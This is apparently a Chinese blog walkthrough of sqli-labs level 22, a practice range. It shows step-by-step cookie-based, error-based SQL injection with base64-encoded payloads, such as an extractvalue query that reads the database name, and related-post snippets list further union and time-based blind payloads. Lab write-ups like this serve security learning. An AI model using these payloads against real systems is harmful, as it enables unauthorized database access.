sqllab第二十二关通关笔记

最新推荐文章于 2026-07-02 23:30:54 发布
原创 最新推荐文章于 2026-07-02 23:30:54 发布 · 312 阅读 · 0 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
本文讲述了作者通过逐步分析和构造payload，利用cookie注入和base64编码对系统进行测试，成功实现错误注入并获取数据库名的过程，展示了攻击者在Web应用安全中的渗透尝试。

知识点：

  • cookie注入
  • 报错注入

直接抓取对应的数据包，发现还是一个cookie注入

参数值被base64加密了

测试这里使用什么手段读取输入

构造payload:uname=1'

base64加密：MSc=

出现了hacker的页面，说明信息错误但是单引号没起作用

使用双引号试一下

构造payload:1"

base64加密：MSI=

出现了语法错误的报错信息，说明这里使用了双引号进行读取输入

测试是否可以进行错误注入

构造payload:1" or exp(710)#

base64加密：MSIgb3IgZXhwKDcxMCkj

成功回显exp()的错误信息

接下来获取数据库名

构造payload:1" or extractvalue(1,concat(0x7e,database(),0x7e))#

base64加密：MSIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSkj

成功获取到了数据库名；收工

10

标签
#笔记 #sqllab
SQL-Labs靶场“32-33”关通关教程
钟言的博客
03-14 6314
本篇为SQL-Labs靶场的第32关到33关的通关教程（宽字节注入），详细内容包含了、32关 GET单引号闭合宽字节注入 1、源码分析 2、宽字节注入原理 3、联合查询 4、updatexml报错注入 5、floor报错注入 、33关 GET单引号addslashes逃逸注入 1、源码分析 2、联合查询 3、updatexml报错注入 4、floor报错注入等内容
sqllab通关笔记（汇总）
I_WORM的博客
03-18 714
10。
sqllab第七关通关笔记
I_WORM的博客
03-13 1006
如果是简单的单引号绕过的话，注释符应该把后面的那个引号进行注释了，那么and后面的引号应该会因为引号不闭合进行报错，但是这里正常显示了，这里就搞不懂了；设置payload2为字符组合类型（brute forcer），设置最小长度和最大长度都为1，因为他会把指定区间的长度都进行枚举，这里只需要进行字符爆破，所以设定长度为1，这样就是枚举每个字符和数字了。开始爆破，得出结果后进行过滤；因为错误和正确的输出长度是一样的，所以没办法利用长度进行辨别，点击上面的过滤条件，将正确的输出内容复制到过滤条件中，点击应用。
sqllab第十六关通关笔记
I_WORM的博客
03-14 919
构造payload:username=a")+or+if((mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),1,1)='e'),sleep(2),1)#放入爆破模块中，设置不变（这里没测数据长度，我直接用的50，假设目标长度<50，那么结果中有效的payload1不会到50，如果有效payload1到了50说明长度>=50，此时我会增加长度；
sqllab第48-65关通关笔记
I_WORM的博客
03-18 647
10。
sqllab第十一关通关笔记
I_WORM的博客
03-14 1116
首先看界面是一个登录框；通过admin admin登录进去，发现页面会把用户名和密码的登录信息打印出来；通过bp抓包进行测试是不是存在注入点。
sqllab第35-45关通关笔记
I_WORM的博客
03-18 776
10
sqllab靶场通关详解（前22关）
weixin_43433141的博客
01-21 1097
作者使用phpstudy将靶场放置在本地环境中，配置如下：直接在浏览器中输入127.0.0.1/sql进行访问即可，有问题可以关注公众号回复【好友】私聊笔者。
sqllab第十关通关笔记
I_WORM的博客
03-13 281
具体看第九关就行了；就是构造的payload稍微修改一下。构造第九关的payload:id=1' and if(1,sleep(2),1) --+构造payload:id=1" and if(1,sleep(2),1) --+这里就不演示判断注入类型；通过测试发现和第九关一样；怀疑是单引号的问题；可能不是单引号进行输入读取；发现成功触发了sleep函数；说明这就是成功注入的格式。发现没有执行sleep()函数；
sqllab第二关通关笔记
I_WORM的博客
03-13 761
构造payload:id=0%20or%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+构造payload:id=0 union select 1,2,database() --+之后还可以获取表名、字段名、具体内容等信息（这里不做演示了）构造payload:id=0 union select 1,2,3 --+同样的也能通过错误注入的方式获取具体的表名和字段信息。输入id=1/0 发现不打印输出了；发现将输入的内容打印到页面上了；
sqllab第九关通关笔记
I_WORM的博客
03-13 352
通过bp进行抓包，当前构造的payload:id=1%27%20and%20if((mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,1)=%27e%27),sleep(5),1)--+需要重点说一下的是设置一下bp的项目超时时间；这样就只剩下timeout的数据了，通过payload1进行排序就得到了规整易读的表名信息。
sqllab第八关通关笔记
I_WORM的博客
03-13 565
构造的payload:id=1%27+and+mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),§1§,1)=%27§e§%27--+虽然这里的长度是不一样的，但是直接利用过滤和排序获取的信息更加的规整好看。构造id=1' and database()='security' --+正常回显了，说明不错，就是一个单引号绕过。
sqllab第四关通关笔记
I_WORM的博客
03-13 586
构造payload:id=0")+union+select%201,2,3%20--+说明原始语句中对输入的读取格式为 ("输入")好了，既然知道了语法信息，下面就开始注入。说明不是用单引号读取输入内容。回显出现了关键信息‘)’默认单引号为字符串信息。
sqllab第六关通关笔记
I_WORM的博客
03-13 565
构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+由于读取的内容小于32位，所以直接全部输出了；成功读取到了数据库的表信息；不是单引号的输入读取。好了，双引号引起的注入。利用错误注入进行数据读取。
sqllab第十三关通关笔记
I_WORM的博客
03-14 468
构造payload:username=a')+or+extractvalue(1,concat(0x7e,database(),0x7e))#报错注入获取表名和字段信息以及敏感内容信息在前几关就展示了；欸，又报错了，发现了更多的信息；应该是一个where username=('输入内容')构造payload:username=a')+or+exp(710)#重新构造payload:username=a')+or+1=1#构造payload:username=a')+or1=1#成功获取了数据库名；
sqllab第十五关通关笔记
I_WORM的博客
03-14 591
尝试进行admin admin登录发现没有任何的回显信息。
sqllab第十八关通关笔记
I_WORM的博客
03-15 663
构造payload:1' and extractvalue(1,concat(0x7e,database(),0x7e))='推测原始语句为 insert into 表名(字段1,字段2,...) values(数据1,数据2,...);这里显然不是一个查询语句，也不是一个update语句，可能是insert语句。突然想到这个位置好像不能用+，这里是不进行url解析的，换成空格试试。成功获取了数据库名字，获取敏感信息也是同样的操作；成功执行了exp(710)，这里可以进行错误注入。说明这是一个UA注入。
sqllab第二十八关通关笔记(附带28a)
I_WORM的博客
03-17 528
构造payload:id=0%27)union%09all%09select%091,database(),3%09=(%271。重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271。构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271。页面成功回显了，但是内容不是输入信息，应该是他把-1进行绝对值处理了，导致显示了id=1的内容。好，尝试进行错误注入。
Sqllab第一关通关笔记
I_WORM的博客
03-10 994
知识点：明白数值注入和字符注入的区别联合查询：union 或者 union allconcat()concat_ws(分隔符，字符串)
ACM CSP竞赛笔记（二十一）——倍增：快速幂
最新发布
2301_80226956的博客
07-02 109
倍增思想与快速幂的板子，很好用，包200+
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们，赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值